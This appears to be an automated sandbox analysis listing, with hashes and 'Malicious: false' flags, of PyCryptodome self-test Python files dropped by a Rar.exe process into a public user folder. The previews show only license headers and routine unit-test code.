SHA-512:	B6273F9B9F342DF9D23BCE216963AE2979A0BC6740BB1458CA39D95A8AE330C1E400DC2CB0CBB864B6D2DA3921FC9F4FAA2090B48F4BBBAAF6CD5BB397230F37
Malicious:	false
Reputation:	low
Preview:	import unittest..from binascii import unhexlify, hexlify....from Crypto.Util.py3compat import tobytes..from Crypto.SelfTest.st_common import list_test_cases....from Crypto.Hash import TupleHash128, TupleHash256......class TupleHashTest(unittest.TestCase):.... def new(self, args, kwargs):.. return self.TupleHash.new(args, *kwargs).... def test_new_positive(self):.... h = self.new().. for new_func in self.TupleHash.new, h.new:.... for dbits in range(64, 1024 + 1, 8):.. hobj = new_func(digest_bits=dbits).. self.assertEqual(hobj.digest_size 8, dbits).... for dbytes in range(8, 128 + 1):.. hobj = new_func(digest_bytes=dbytes).. self.assertEqual(hobj.digest_size, dbytes).... hobj = h.new().. self.assertEqual(hobj.digest_size, self.default_bytes).... def test_new_negative(self):.... h = self.new().. for new_func in self.TupleHash.new, h.new:..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\Hash\test_TurboSHAKE.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	15477
Entropy (8bit):	4.797172752964677
Encrypted:	false
SSDEEP:	192:ZhR+CSwVR7RRUMglQOMhFs42YomDg1l0xokdgrQff26duEhOROa1s/0fOa:ZhRaDXkeQvO6uEos4
MD5:	7416C9644E4F1208364986E5473EA89E
SHA1:	FE5A66E3FC35342C9BB9904FE6DCD87AC7AEC33F
SHA-256:	1AD796B5A7AC7C12AAAECCD151CDF0AB312B28621FD09A047F974F9367A30B7E
SHA-512:	4C67EF2BF5D2E0E22F4098A632AE2C25D7FC778D92535CA9B16C0E3F80173E151CAEDBEBDFFB97A5D540FDA1D2114497346C3EEB9954BD3886D08D22E58D2A36
Malicious:	false
Reputation:	low
Preview:	"""Self-test suite for Crypto.Hash.TurboSHAKE128 and TurboSHAKE256"""....import unittest..from binascii import unhexlify....from Crypto.SelfTest.st_common import list_test_cases....from Crypto.Hash import TurboSHAKE128, TurboSHAKE256..from Crypto.Util.py3compat import bchr......class TurboSHAKETest(unittest.TestCase):.... def test_new_positive(self):.... xof1 = self.TurboSHAKE.new().. xof1.update(b'90').... xof2 = self.TurboSHAKE.new(domain=0x1F).. xof2.update(b'90').... xof3 = self.TurboSHAKE.new(data=b'90').... out1 = xof1.read(128).. out2 = xof2.read(128).. out3 = xof3.read(128).... self.assertEqual(out1, out2).. self.assertEqual(out1, out3).... def test_new_domain(self):.. xof1 = self.TurboSHAKE.new(domain=0x1D).. xof2 = self.TurboSHAKE.new(domain=0x20).. self.assertNotEqual(xof1.read(128), xof2.read(128)).... def test_update(self):.. pieces = [bchr(10) * 200, bchr(20) * 300].

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\Hash\test_cSHAKE.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6970
Entropy (8bit):	5.194425901690965
Encrypted:	false
SSDEEP:	96:M/DqrYJALrYJHdt3EHGuI3jPiHhu0nHU+aS+rFX3F/0a+WuW96lOh:Gqrskrs9t3q/Ieu0nHULbdV0a+9mcOh
MD5:	66C07A7C4501D81AE688CB8D86E1124C
SHA1:	954B46653D497E318F2D997FB6C10048E64A79B6
SHA-256:	ADED756FB81F8601C093433F2A8549D91033C2FDC632F5D0A96E82D65BBCABB3
SHA-512:	9D20AFBDA3E9BE26EB19D23CFD5758D6CFF425C0EBD0F662E0AF3E47A39955943A30161F4A7DC44C6A26B73C04DFA965F00C677E30D80B753052DD9DC01E0740
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,..# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\Hash\test_keccak.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9139
Entropy (8bit):	4.901557899833285
Encrypted:	false
SSDEEP:	192:4qrskrs9t3q/I6ffRHk7Lo626/b5pfpkM67Oh:Hrskrs9VqNX9k70626T5lpB6g
MD5:	E6120ECD0AC2994275652761FFC133EF
SHA1:	56AED1B699770BF14C7765D38BE1E11AA6AE4910
SHA-256:	F75F0DDB0190F6B0177DFCD321931AC8BCF9B0A6BF0539B413D719A3E104656E
SHA-512:	544E46E5E4546A31925EE99C8D1DE196F94C90C2FA93105059D2BD95C21D1B67E1E25574B093EA148F713213042528BF32B1660F3942E019FE0D52D5CBDEFAAE
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\IO\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2041
Entropy (8bit):	5.273948297631314
Encrypted:	false
SSDEEP:	48:RMWOqrYJALrYJHdG43tDs3EsIG13NcuIH60w0raZ+:uDqrYJALrYJHdt3EHGuIaSrN
MD5:	82492759411EAD272738749D44872798
SHA1:	27789E533A2E5B1EDE1C5C958711BF87FDA622F0
SHA-256:	E0FEABC0079FD763084043FC5C8BE120E43D75E0D12770E73CAE0781423B2F20
SHA-512:	D6E11BD164B8AECB79457398EEFF26491043F127B3E450E01A0C2B384A8A375944B0846CE806BAB4833FECBB2A766775E19E944C81FB80EAE3337AC28F2C1F6F
Malicious:	false
Reputation:	low
Preview:	#..# SelfTest/IO/__init__.py: Self-test for input/output module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. I

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\IO\test_PBES.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4467
Entropy (8bit):	5.082094195261321
Encrypted:	false
SSDEEP:	96:BDqrYJALrYJHdt3EHGuI44S6Rql3mvncp/3qa:Jqrskrs9t3q/I26Rql3mvncpPqa
MD5:	AB24621790843C9EE84CA887E5B9AF88
SHA1:	FC00589544BE26FFD2AC12AC77AF1515C8DA17C9
SHA-256:	CCC8F12FF8CA42C2FF848798C9BAE1AA606F088B197D51E301515DDF0DF1160C
SHA-512:	1923E379D29A04DFC95C004BB408AFFA8483803D542FB981A8D42AEAC7C3EA2F2F479248DDF24F31026F6B005D068BA28EE52EEA2498BCF06F31311463E80737
Malicious:	false
Reputation:	low
Preview:	#..# SelfTest/IO/test_PBES.py: Self-test for the _PBES module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\IO\test_PKCS8.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	19565
Entropy (8bit):	5.2619407746416655
Encrypted:	false
SSDEEP:	384:rrskrs9Vq8dd/zJDCLv9sbPkkebKQ1SWh8G+rRfan:rr6qgd/zJDov9srkmQ1Sdr1an
MD5:	475E96AA38DE346D19BD1C7BF9AC5DF7
SHA1:	45892248A0D20358EF2EAF1CC6F84582C119D2D5
SHA-256:	0F02942929784AB768BDAC13A9FF91BAF09E949FE9A4E94B72664F86A71E07EE
SHA-512:	23485DBBF0B3DACE97A810108D456A1062B9449EDED59BADD386A197758336AA75F3F4CE9C0BEA607663B88CBB7991455AC3B8CFE0A2025A3BF5DBCBE82234A7
Malicious:	false
Reputation:	low
Preview:	#..# SelfTest/IO/test_PKCS8.py: Self-test for the PKCS8 module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\Math\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2253
Entropy (8bit):	5.265534509270815
Encrypted:	false
SSDEEP:	48:RQWOqrYJALrYJHdG43tDs3EsIG13NcuIHMo0xlxqxUxaGtraZy:6DqrYJALrYJHdt3EHGuIsokTOEaGtrh
MD5:	193EF9AAB49C856D4333036CB09C927C
SHA1:	95D64BBE10A2A6631FF0EC434AD42C0F2554A2B6
SHA-256:	73D30940D7505A54B81211BB5BFB364CF389486220F3749A1B3783588AE316C9
SHA-512:	37583CB8A1AC70B2AC4453A7DBDFA384517F376515041F74E2DC3D926BE5AB499099C33414FFD09839A29FD814D372A71CA32CB73D67E79FB11BEFA1BB44DE33
Malicious:	false
Reputation:	low
Preview:	#..# SelfTest/Math/__init__.py: Self-test for math module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO E

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\Math\test_Numbers.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with very long lines (340), with CRLF line terminators
Category:	dropped
Size (bytes):	32598
Entropy (8bit):	4.827746010636288
Encrypted:	false
SSDEEP:	768:+r6qCaltwxENWAdqaRou/dzKkB3F3H2mnGH:+rpCwtwxENWAo2b0
MD5:	4F0AAC69E3310C34FF9D1CF39EEDF325
SHA1:	A8FB56868AD18382114D035319A69D80CB2A7641
SHA-256:	C99AB636077E7B46B07D83440E3843E907E8838E62DDB5F0E705B5D2A9984749
SHA-512:	3FC3D64D1245E9BC66A0158BFDD0D133F306D0DE6DE274B5719C7EF1958B1DCDF5D6D060E1FC856B25B94ECD63A810C96A7742B854E8594BCFB1B95AED2D7B01
Malicious:	false
Reputation:	low
Preview:	#..# SelfTest/Math/test_Numbers.py: Self-test for Numbers module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\Math\test_Primality.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	4999
Entropy (8bit):	5.3379909826043574
Encrypted:	false
SSDEEP:	96:+eDqrYJALrYJHdt3EHGuI7PH1opz94FksTjTOqOh98LfgeBrp:+sqrskrs9t3q/Ik9izT1OYIgrp
MD5:	24878E5A9765069E457777F362D58556
SHA1:	F6FE995D3D2477A853D94C8FF4BD28B240833FE8
SHA-256:	9E2BA49B922820DFA0AD60532E98747DBBD03796F3DF2B3701B0373D1A254F09
SHA-512:	97B227C53D4CEFB64F47BF67495D757B268CE2AC91C1ECA596CD6072BA5C700DE03AFA915ADE52BBA57D4A8CE3616F38D62B2AE1C29F5FD981FD93109DB4BE3A
Malicious:	false
Reputation:	low
Preview:	#..# SelfTest/Math/test_Primality.py: Self-test for Primality module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIM

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\Math\test_modexp.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with very long lines (526), with CRLF line terminators
Category:	dropped
Size (bytes):	8304
Entropy (8bit):	5.1628761666181795
Encrypted:	false
SSDEEP:	192:Tqrskrs9t3q/IsgOvG4xmV1vFEcOLpCp01p0opQPOp:Grskrs9VqvvG4SHOF2Qrz
MD5:	8493CFB3E2E9FCA2CCE57F7E5978CF01
SHA1:	EC340955DD4BB061DB5D2B181E258951DE94F7FB
SHA-256:	0FEA1E2F8E4285DEE62676C7E87D438EF421F948BDB8B412EC453A0D4DECA6D5
SHA-512:	C03FDC899951CBFE93264C618698B4C41D83B8508443E61FFB4AE8CB6B6EE57280192CB6BE7E91A293191727B4B5AB0A77AF0383972D524D13BBEA6BD68D3CCD
Malicious:	false
Reputation:	low
Preview:	#..# SelfTest/Math/test_modexp.py: Self-test for module exponentiation..#..# ===================================================================..#..# Copyright (c) 2017, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISC

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\Math\test_modmult.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with very long lines (535), with CRLF line terminators
Category:	dropped
Size (bytes):	4980
Entropy (8bit):	5.438563739839803
Encrypted:	false
SSDEEP:	96:vDqrYJALrYJHdt3EHGuIDPAtrftMopqbacxCINrW6u5/qAC0qNaPOa:bqrskrs9t3q/IRopquOhWx5/qEXPOa
MD5:	6F726584647B71739BBE490252FF0475
SHA1:	B9EFBAFF2529BE4141186CDFF8DDF8F6E5507218
SHA-256:	8B83A8374C7929213AC42BC379DD2E3923B015203BFDAB61EFCC2AE7E8986C6D
SHA-512:	1CC1B2F722ACB1FBA3CC99A4C251223FAE5D766646F79ED30E87EDCD6102F323B302ACC3DD1D5C41CA65D0E6D7E12839C65580E4C931EF44F2A9D7CA829742F8
Malicious:	false
Reputation:	low
Preview:	#..# SelfTest/Math/test_modmult.py: Self-test for custom modular multiplication..#..# ===================================================================..#..# Copyright (c) 2023, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\Protocol\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1880
Entropy (8bit):	5.2502959979894195
Encrypted:	false
SSDEEP:	48:NX1G2wEIB0jcQHMsvI/S3oCFx1p0uFJtityraZa:rTwfFQHvoSpTFJNrB
MD5:	9BAF5A68FE8F27D1DC5E3835B09AE251
SHA1:	7A4C6CB96061378BC70FB165D80464951AD14B5F
SHA-256:	8883ABB95F9BCC3D39B2A7707045D20EA66ACF1BB4DC7924C7676A44EDC066AF
SHA-512:	AD37A7836EA7A6DC0D97144E1A721E5C1618E6D4F91010D9D3F48B7B651037E0CF90982A6C15A1E702EC7E9F7B825E5ABD0FD3D5CF047ED840DD5709C84520A3
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# SelfTest/Protocol/__init__.py: Self-tests for Crypto.Protocol..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\Protocol\test_KDF.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	37587
Entropy (8bit):	5.3282002804951665
Encrypted:	false
SSDEEP:	768:mc1DUj9pFEoJioLmZJo1ouofozoOuLuHxo+ofOM4LEKMv:mciSGiOm3qpmqYAxnXEKc
MD5:	ECE27576B17C7C6FF58D4DEA555F7D00
SHA1:	721307F971B9ADE39A4B972121E537A420F9086E
SHA-256:	22B5EBC0BFD82BA5D7D3294C0701794D875A69F40624CA7E2FB37A87970D1139
SHA-512:	206BF6F8A39BD3A06CFAE4D1DC7AFF6907D536FDD904661A3BC958CF6114F09A0D9C06C66A4FCC0F254B5A2494D831E4CE8E850FACE76D098A39885A390FDBC3
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# SelfTest/Protocol/test_KDF.py: Self-test for key derivation functions..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..#

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\Protocol\test_SecretSharing.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9952
Entropy (8bit):	5.092380043305687
Encrypted:	false
SSDEEP:	192:3qrskrs9t3q/IvRXxuQaCu31Vy5+/sC/GSShBsTbrS:arskrs9VqkxuQaxl/sCutIG
MD5:	E47ACE891AB98689B03CD52457E9D952
SHA1:	186FD91CCD5C3E2609FCA91E6F852D675760FA68
SHA-256:	01F48396E41FB1F1B0BEC975521517247AB2FC7E25FB108064BCD6288EDBCE66
SHA-512:	1765BD953CE9C8F14AF1D81053A57C07EA2A79BD9FAF012DB417158C115950B3DD135CA542A6826AAD2868C46E72F62839AF87649154CFCA7264B242D24FCD09
Malicious:	false
Reputation:	low
Preview:	#..# SelfTest/Protocol/test_secret_sharing.py: Self-test for secret sharing protocols..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PUR

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\Protocol\test_ecdh.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10784
Entropy (8bit):	4.78981017921065
Encrypted:	false
SSDEEP:	192:Cw7OCjqu+vTy1eT0s8IHfX88sOJzIn1xCiKVz8bBVjjnKOa:BWucy1YpfJUDCiK18bf2
MD5:	482A7F06CA1AC5495FA66573F87A325F
SHA1:	529DD31BFACC857B86262C417A7C958EA4A886D0
SHA-256:	6019F99443B9F1234CCE6E24E6E3DD99547D932AEB5251E7FB604ACCC48CBE1F
SHA-512:	A3B25168AB10C9A6B207BC32E9D6F36C3F783D32EBEDE156654F649298628942D3B89BC4D3E82A10654D75B8397642808192630382658303F6CE0473925CE3B1
Malicious:	false
Reputation:	low
Preview:	import re..import unittest..from binascii import hexlify....from Crypto.Util.py3compat import bord....from Crypto.Hash import SHA256..from Crypto.PublicKey import ECC..from Crypto.SelfTest.st_common import list_test_cases..from Crypto.SelfTest.loader import load_test_vectors, load_test_vectors_wycheproof....from Crypto.Protocol.DH import key_agreement......class FIPS_ECDH_Tests_KAT(unittest.TestCase):.. pass......test_vectors_verify = load_test_vectors(("Protocol", ),.. "KAS_ECC_CDH_PrimitiveTest.txt",.. "ECC CDH Primitive (SP800-56A Section 5.7.1.2)",.. {.. 'qcavsx': lambda x: int(x, 16),.. 'qcavsy': lambda x: int(x, 16),.. 'diut': lambda x: int(x, 16),.. 'qiutx': lambda x: int(x, 16),..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\SelfTest\Protocol\test_rfc1751.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2270
Entropy (8bit):	5.332184874162283
Encrypted:	false
SSDEEP:	48:RDEWIB0jcQHMsvI/S3oCFlF+a+QoT1OiPoMEYaMiWvEaSA:NkFQHvoCF7HvIvKA
MD5:	CBD669C019031D8BD673CE75FFCABBC9
SHA1:	8AD94D21B3E7394A43DA56412ED3D7A985D2ABAD
SHA-256:	5BA5CF5C2665263DF853E60CE4A6ECFD8E74910C13FA92F7B32841501BF90C59
SHA-512:	9D870E5CD01B7E2C8767EB2DB965512D91FEE5A0E9A7B9100483E8E6D8B72C1D7A0DAA0FCD912126E6C7494D81426DC7E5885CC7F55CB28674A0652240C7B7DF
Malicious:	false
Reputation:	low
Preview:	#..# Test script for Crypto.Util.RFC1751...#..# Part of the Python Cryptography Toolkit..#..# Written by Andrew Kuchling and others..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, 